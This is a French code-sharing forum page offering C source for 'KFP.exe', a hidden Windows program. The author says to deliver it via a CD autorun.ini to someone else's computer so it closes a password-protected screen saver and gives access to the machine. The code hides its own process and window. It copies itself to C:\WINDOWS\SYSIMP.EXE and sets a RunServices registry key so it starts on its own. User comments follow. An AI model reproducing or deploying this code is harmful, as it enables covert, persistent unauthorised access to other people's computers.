Fermer tout les programme meme screen saver avec mot de passe

Soyez le premier à donner votre avis sur cette source.

Snippet vu 5 299 fois - Téléchargée 31 fois


Contenu du snippet

c'est simple un (gros) programme qui fait fermer tout se que vous voulez sur l'ordinateur de quelqu'un meme le screen saver avec mot de passe.
simple a faire vous copier le source vous le compiler et le metter sur un cd-rom avec un autorun.ini (que vous créer) puis vous pouvez le mettre dans l'ordinateur de qui vous voulez et si vous y chercher des informations et que le screen saver est activé il se fermara tout simplement et a vous l'ordinateur ;)

exemple d'autorun bien simple

[AUTORUN]
run=KFP.exe
icon=0

Source / Exemple :


/* =====KFP.EXE==============================

KillFrontPage

Par: Acid_Area_Stoned@hotmail.com

Résultat:

Ferme le programme que

l'utilisateur utilise (même le screen

saver avec mot de passe).

Utilisation:

Fermer le prog: 3 fois la souris aux

coordonnées (0,0)

Installer ce programme au démarrage:

5 fois la souris aux coordonnées (X,0)

où (X>0).

==========================================
  • /
#include <windows.h> typedef DWORD (*RSP_FUNC)(DWORD,DWORD); static RSP_FUNC lpRsp; BOOL InitRsp() { HMODULE hMod; hMod = GetModuleHandle("Kernel32.dll"); if(hMod) lpRsp = (RSP_FUNC)GetProcAddress(hMod,"RegisterServiceProcess"); return (BOOL)lpRsp; } // *** Déclaration des prototypes *** int WINAPI WinMain ( HINSTANCE hInstance, // handle de l'instance courante HINSTANCE hPrevInstance, // handle de l'instance précédente LPSTR lpszCmdLine, // ligne de commande int nCmdShow // montre l'état de la fenetre ); LRESULT CALLBACK WindowProc ( HWND hwnd, // handle de la fenetre UINT uMsg, // identificateur de message WPARAM wParam, // premier parametre de message LPARAM lParam // second parametre de message ); // *** Début de l'exécution *** int WINAPI WinMain ( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow ) { HWND hwnd; MSG msg; WNDCLASS wndClass; // Déclaration de la classe de la fenetre wndClass.style = 0; wndClass.lpfnWndProc = WindowProc; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 0; wndClass.hInstance = hInstance; wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); wndClass.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wndClass.lpszMenuName = NULL; wndClass.lpszClassName = "KFP"; if (RegisterClass(&wndClass) == 0 ) return 0; // déclaration de la classe et quitter si erreur // Création de la fenetre hwnd = CreateWindow ( "KFP", // Nom de la classe fenetre "KFP", // Titre de la fenetre WS_OVERLAPPED, // style de la fenetre 1, // X 1, // Y 1, // Grosseur 1, // Grandeur NULL, // Handle de la fenetre mere NULL, // handle du menu hInstance, // handle de l'instance du programme NULL // parametre de création ); if (hwnd == 0) return 0; ShowWindow(hwnd, SW_HIDE); UpdateWindow(hwnd); InitRsp(); if(lpRsp) (*lpRsp)(0,1); while(GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } InitRsp(); if(lpRsp) (*lpRsp)(0,0); return msg.wParam; } // Cette fonction est appelée pour traiter les messages Windows LRESULT CALLBACK WindowProc ( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { static int nKFP; static int nInstall; static char lpFilename[256]; switch (uMsg) // Réagir aux types de messages envoyés { case WM_CREATE: MessageBeep(MB_OK); SetTimer( hwnd, 1, 2000, NULL); GetModuleFileName( NULL, lpFilename, 256); return 0; case WM_TIMER: HKEY hkResult; POINT lpCurseur; HWND hFrontProg; GetCursorPos(&lpCurseur); if ( lpCurseur.x == 0 && lpCurseur.y == 0) { nKFP++; SetCursorPos(5,5); if ( nKFP == 3) { nKFP = 0; MessageBeep(MB_OK); hFrontProg = GetForegroundWindow(); if (hFrontProg == 0) break; PostMessage(hFrontProg, WM_QUIT, NULL, NULL); } } else nKFP = 0; if ( lpCurseur.x != 0 && lpCurseur.y == 0) { nInstall++; SetCursorPos(lpCurseur.x, 5); if ( nInstall == 5) { nInstall = 0; MessageBeep(MB_OK); CopyFile( lpFilename, "C:\\WINDOWS\\SYSIMP.EXE", TRUE); RegCreateKey( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices", &hkResult); RegSetValueEx( hkResult, "sysimp", 0, REG_SZ, "C:\\WINDOWS\\SYSIMP.EXE", 256); RegCloseKey(hkResult); } } else nInstall = 0; return 0; case WM_PAINT: HDC hDC; PAINTSTRUCT paintStruct; BeginPaint(hwnd, &paintStruct); EndPaint(hwnd, &paintStruct); return 0; case WM_DESTROY: KillTimer( hwnd, 1); PostQuitMessage(0); return 0; default: return DefWindowProc(hwnd, uMsg, wParam, lParam); } }

Conclusion :


merci de vos commentaire

A voir également

Ajouter un commentaire

Commentaires

alkove
Messages postés
37
Date d'inscription
jeudi 27 mars 2003
Statut
Membre
Dernière intervention
6 mai 2005
-
intéressant comme prog :)
j'en ai fait un version qui s'utilise avec les touches.

sinon je me demande pkoi l'enregistrer comme processus ?
cs_nonoboss
Messages postés
18
Date d'inscription
mardi 12 août 2003
Statut
Membre
Dernière intervention
24 janvier 2004
-
moi j'arrive pas a compiler cause de "PostMessage(hFrontProg, WM_QUIT, NULL, NULL);" qqn peut m'aider? i-m.god@laposte.net
cs_nonoboss
Messages postés
18
Date d'inscription
mardi 12 août 2003
Statut
Membre
Dernière intervention
24 janvier 2004
-
moi j'arrive pas a compiler
fruss2002
Messages postés
1
Date d'inscription
mardi 12 août 2003
Statut
Membre
Dernière intervention
12 août 2003
-
Moi je trouve sa trop cool, seil hic, il faut tjr avoir le cd avec soi.
morgandetoi06
Messages postés
389
Date d'inscription
mercredi 23 avril 2003
Statut
Membre
Dernière intervention
17 décembre 2004
1 -
ok mais ça sert à quoi de lancer ce programme au demarage ?

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.